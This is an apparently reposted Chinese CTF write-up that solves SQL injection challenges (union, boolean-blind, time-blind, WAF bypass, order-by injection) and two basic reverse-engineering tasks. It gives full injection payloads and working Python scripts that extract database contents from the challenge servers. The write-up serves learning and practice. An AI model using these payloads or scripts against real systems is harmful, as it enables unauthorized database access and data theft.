5

CTF做题总结(二)

 2 years ago
source link: https://qwzf.github.io/2019/08/02/CTF%E5%81%9A%E9%A2%98%E6%80%BB%E7%BB%93(%E4%BA%8C)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

最近这段时间在内部平台上做了一些Web题,和最基础的Reverse签到题。虽说还有两道Reverse题没做出来,但还是先总结一下吧!

Web1:BASE-INJECT

在这里插入图片描述
在这里插入图片描述
看题目提示,就知道这道题之前做过,不过当时没总结,现在总结一下。
题目的意思是注入。点开题目
在这里插入图片描述
在这里插入图片描述
发现输入id可以查信息,并且是get传参方式。
判断是否存在sql注入
判断方法在sqlilabs攻关总结中总结过。就不叙述了。这里我选用get单引号判断
输入?id=1显示正常
输入?id=1’显示错误,所以存在sql注入
在这里插入图片描述
在这里插入图片描述
并且有显示位,所以应该是SQL注入-联合查询注入。

联合查询注入

前提
要用联合查询进行注入则:页面必须有显示位
显示位(查字段)
在一个网站的正常页面,服务器执行sql语句查询数据库中的数据,客户端将数据展示在页面中,这个暂时数据的位置就是显示位。
联合查询
union可合并两个或多个select语句的结果集,如:

select id,username,password from users where id=1 union select 1,2,3;
sql复制代码

前提是两个select必有相同列、且各列的数据类型也相同
union注入条件
只有最后一个select子句允许有order by
只有最后一个select子句允许有limit
只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
注入点页面有回显
注入步骤

  1. 判断是整型还是字符型
  2. 判断查询列数
  3. 判断显示位
  4. 获取所有数据库名
  5. 获取数据库所有表名
  6. 获取字段名
  7. 获取字段中的数据

知识了解完毕,开始解题
1.判断是整型还是字符型
输入?id=1 and 1=1
输入?id=1 and 1=2
回显页面不同,说明是整型注入
2.判断查询列数
输入?id=1 order by 3 --+ 显示正常
再次输入?id=1 order by 4 --+ 显示错误
所以在?id=1查看的这个表有3列,即3个字段

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3. 判断显示位
在这里插入图片描述
在这里插入图片描述
1、2、3处,即是显示位。
4. 获取所有数据库名
group_concat()一次性显示:
1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
sql复制代码
在这里插入图片描述
在这里插入图片描述
显示当前数据库: database()
1 union select 1,2,database()--+
sql复制代码
在这里插入图片描述
在这里插入图片描述
5. 获取数据库所有表名
1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database() --+
sql复制代码
在这里插入图片描述
在这里插入图片描述
6. 获取字段名
1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and TABLE_NAME='users' --+
sql复制代码
在这里插入图片描述
在这里插入图片描述
7. 获取字段中的数据
1 union select 1,2,group_concat(username) from users --+
sql复制代码
在这里插入图片描述
在这里插入图片描述
得到flag。

Web2:BASE-Blind-Inject

在这里插入图片描述
在这里插入图片描述
“BASE-Blind-Inject”意思是“基础盲注”。盲注知识之前我已经总结过,所以直接做题
打开题目,发现是登录框。想到SQL的简单注入,试一下闭合方式,最后发现是双引号闭合
payload
" or 1=1#
sql复制代码
在这里插入图片描述
在这里插入图片描述
flag在数据库?!并且输错回显不同,再结合题目“基础盲注”,所以很明显是布尔盲注,并且是POST型的。
所以开始构造针对此题的布尔盲注pyload
盲注方法:
  1. 最慢:可以采用二分法的方式,手工进行盲注,对数据库名的每一个字符进行猜解(在浏览器进行测试有点不方便,可以用Burpsuite抓包,使用Repeater进行测试)
    参考:
    sqli-labs攻关2(布尔盲注、时间盲注)
  2. 一般:可以使用Burpsuite抓包,半自动化盲注,设置变量,通过返回的长度不同进行判断
    参考:
    利用BurpSuite实现半自动化盲注
  3. 较快:写一个普通盲注脚本进行盲注
    参考:
    sqli-labs盲注脚本
    python3以post方式提交数据
    1. 最快:写一个2分法猜测数据库长度的盲注脚本进行盲注
      参考:
      Bool盲注脚本-POST

1.爆库
猜库长
payload

" or (length(database())=10)--+正常
sql复制代码

所以数据库长度为10
猜库名
payload

" or (ascii(substr(database(),1,1))=n)--+
sql复制代码

手工测试第一个字符

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第一个字符ascii码为99,即字符“c”
一直尝试,直到字符全部猜出。

Burpsuite半自动化盲注

要注意如果第二个变量选择的是字符字典,payload写成如下形式:

" or (substr(database(),1,1)='a')--+
sql复制代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
length为498的即为正常回显的,(上面等进度条满格则爆破结束,我没有爆破完)将得到的正常回显的Payload2根据Payload1进行排序,即为数据库名。数据库名为chellenges
2.爆表
猜表长
payload
" or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常
sql复制代码

所以数据表长度为6
猜表名
payload

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n)--+
sql复制代码

沿用爆库的方法,最终得到表名user_2
3.爆字段
猜字段长
payload

" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
sql复制代码
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常
sql复制代码
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常
sql复制代码

所以数据字段长度分别为2、8、8
猜字段名
payload

" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))=n)--+
sql复制代码

沿用爆库的方法,最终得到三个字段名id username password
4.爆数据
猜数据长

" or (length((select password from challenges.user_2 limit 1,1))=32)--+正常
sql复制代码

所以数据长度为32,这个应该就是flag那条数据了
猜数据名

" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))=n)--+
sql复制代码

沿用爆库的方法,最终得到数据flag

这里有一个我参照大佬博客写好的脚本(我太菜,不会写二分法猜长度的那个脚本)

import requests
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
postdata={
    'username':'" or 1=1#',
    'password':'admin'
    }
url="http://35.201.188.231:9000/challenge-02/post.php"
r=requests.post(url,data=postdata)
length=len(r.text)

def name(url,length):
    dbname=''
    print("数据库名:",dbname)
    payload='" or ascii(substr(database(),{0},1))={1} #'
    #print("数据表名:",dbname)
    #payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
    #print("字段名:",dbname)
    #payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#'
    #print("数据:",dbname)
    #payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#'
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            postdata={
            'username':payloads,
            'password':'admin'
            }
            r=requests.post(url,data=postdata)
            if len(r.text) == length:
                dbname+=x
                print(dbname)
                char=x
                break
        if char=='':
            break
    return dbname
name(url,length)
python复制代码
在这里插入图片描述
在这里插入图片描述

Web3:BASE-TIME-BLIND-INJECT

在这里插入图片描述
在这里插入图片描述
题目意思是时间盲注,所以很显然这道题是时间盲注。时间盲注正常和不正常回显结果相同,所以进入题目,还是登录框,先不测试。查看源码
在这里插入图片描述
在这里插入图片描述
给了题目源码,url框输入www.zip下载源码,或如下
在这里插入图片描述
在这里插入图片描述
解压,查看
在这里插入图片描述
在这里插入图片描述
发现sql查询语句的闭合方式,所以构造闭合方式为'"
当然时间盲注也有三种方法:

与布尔盲注相比,因为正常和不正常返回相同,所以采用sleep()函数延迟时间来判断是否正常。
1.爆库
猜库长

'" or if(length(database())=10,sleep(5),1)--+延迟五秒
sql复制代码

所以数据库长度为10
猜库名

'" or if((ascii(substr(database(),1,1))=n),sleep(5),1)--+
sql复制代码

手工测试第一个字符

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第一个字符ascii码为98时,无延迟;第一个字符ascii码为99时,延迟5秒。所以第一个字符为99,即字符“c”

Burpsuite半自动化盲注

要注意如果第二个变量选择的是字符字典,大小写识别有点问题,不过因为字典较快,所以依旧用的字典,然后再判断大小写。payload写成如下形式:

'" or if((substr(database(),1,1)='a'),sleep(5),1)--+
sql复制代码
在这里插入图片描述
在这里插入图片描述
和布尔盲注一样选择设置变量,选择变量范围。开始爆破,双击Timeout下的四方块
在这里插入图片描述
在这里插入图片描述
正常的
在这里插入图片描述
在这里插入图片描述
延迟的
在这里插入图片描述
在这里插入图片描述
找到所有延迟的,然后进行排序即可得到数据库名。最后得到数据库名为chellenges
2.爆表
猜表长
'" or if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延迟5秒
sql复制代码

所以数据表长度为6
猜表名

'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+
sql复制代码

沿用爆库的方法,最终得到表名user_3
3.爆字段
猜字段长

'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1))=2),sleep(5),1)--+延迟5秒
sql复制代码
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 1,1))=8),sleep(5),1)--+延迟5秒
sql复制代码
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 2,1))=8),sleep(5),1)--+延迟5秒
sql复制代码

所以数据字段长度分别为2、8、8
猜字段名

'\" or if((ascii(substr((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+
sql复制代码

沿用爆库的方法,最终得到三个字段名id username password
4.爆数据
猜数据长

" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延迟5秒
sql复制代码

所以数据长度为25,这个应该就是flag那条数据了
猜数据名

'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))=n),1,sleep(5))--+
sql复制代码

沿用爆库的方法,最终得到数据flag

这里有一个我修改布尔盲注得到的时间盲注脚本

import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://35.201.188.231:9000/challenge-02/post.php"
dbname=''
payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
print("数据库名:",dbname)
#payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
#print("数据表名:",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名:",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("数据:",dbname)
for i in range(1,40):
    char=''
    for x in chars:
        char_ascii=ord(x)
        payloads=payload.format(i,char_ascii)
        start=time.time()
        postdata={
            'username':payloads,
            'password':'admin'
        }
        r=requests.post(url,data=postdata)
        if (time.time() - start)>=5:
            dbname+=x
            print(dbname)
            char=x
            break
    if char=='':
        break
python复制代码

因为效率有点低,就先演示个爆数据库名的

在这里插入图片描述
在这里插入图片描述

Web4:BASE-INJECT-WAF

在这里插入图片描述
在这里插入图片描述
根据和查看题目,与Web1相比就多加了个waf。通过preg_replace()函数执行一个正则表达式的搜索和替换。
由题目可知,过滤了or|and|select|union|from,所以要进行WAF绕过

WAF绕过

参考博客:SQL注入WAF绕过姿势
这道题我采用的双写绕过
1.爆库

在这里插入图片描述
在这里插入图片描述
2.爆表
在这里插入图片描述
在这里插入图片描述
3.爆字段
在这里插入图片描述
在这里插入图片描述
4.爆数据
在这里插入图片描述
在这里插入图片描述
得到flag。

Web5:orderby死亡在线

在这里插入图片描述
在这里插入图片描述
order by?!我只知道查列数有用到order by。先看看老学长给的tips
在这里插入图片描述
在这里插入图片描述
先百度一下order by
ORDER BY 关键字

order by排序注入

Order by排序注入方法小总结
MySQL Order By 注入总结
了解完毕。这是order by排序注入,如下order参数可控:

select * from goods order by $_GET['order']
sql复制代码

而题目tips刚好符合:

select * from 一个不是flag的表 order by id {$order}
sql复制代码

我选择利用报错返回多条记录的方式进行注入,先进行测试
post传参

order=and if(1=1,1,(select 1 from information_schema.tables))正确
order=and if(1=2,1,(select 1 from information_schema.tables))错误
sql复制代码

所以构造payload开始报错盲注
1.爆库
payload

and if(ascii(substr(database(),1,1))=n,1,(select 1 from information_schema.tables))
sql复制代码

2.爆表
payload

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n,1,(select 1 from information_schema.tables))
sql复制代码

3.爆字段
payload

and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),1,1))=n,1,(select 1 from information_schema.tables))
sql复制代码

4.爆数据
payload

and if(ascii(substr((select flag from cha1users limit 1,1),1,1))=n,1,(select 1 from information_schema.tables))
sql复制代码

除payload不同外,方法沿用布尔盲注。这有一个我改好的脚本:

import requests

chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+!@%^*$()[]:".#'
postdata={
    'order':',if(1=1,1,(select 1 from information_schema.tables))'
    }
url="http://39.106.19.10/orderby/"
r=requests.post(url,data=postdata)
length=len(r.text)

def name(url,length):
    dbname=''
    payload='and if(ascii(substr(database(),{0},1))={1},1,(select 1 from information_schema.tables))'
    print("数据库为:",dbname)
    #payload='and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},1,(select 1 from information_schema.tables))'
    #print("数据表为:",dbname)
    #payload="and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),{0},1))={1},1,(select 1 from information_schema.tables))"
    #print("字段为:",dbname)
    #payload="and if(ascii(substr((select flag from cha1users limit 1,1),{0},1))={1},1,(select 1 from information_schema.tables))"
    #print("数据:",dbname)
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            postdata={
            'order':payloads
            }
            r=requests.post(url,data=postdata)
            if len(r.text) == length:
                dbname+=x
                print(dbname)
                char=x
                break
        if char=='':
            break
    return dbname
name(url,length)
python复制代码

Reverse1:RE0(签到)

在这里插入图片描述
在这里插入图片描述
就是一个很简单的签到题,赢了就有flag?!所以用IDA打开,选择
在这里插入图片描述
在这里插入图片描述
打开得到flag
在这里插入图片描述
在这里插入图片描述

Reverse2:RE1

在这里插入图片描述
在这里插入图片描述
提示的很明显(之前好像没提示有莫名奇妙的数字),下载题目用IDA打开,F5反编译一下
在这里插入图片描述
在这里插入图片描述
发现一串奇怪的数字,按照v4-v23对下面的数字进行排序,然后转换成ASCII(之前我不知道可以用r键转,所以用的在线平台)
在这里插入图片描述
在这里插入图片描述
得到flag。

总结之后对联合查询和盲注有了更加清醒的认识,同时会脚本的编写和改写也特别重要。
继续努力,小白进阶ing


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK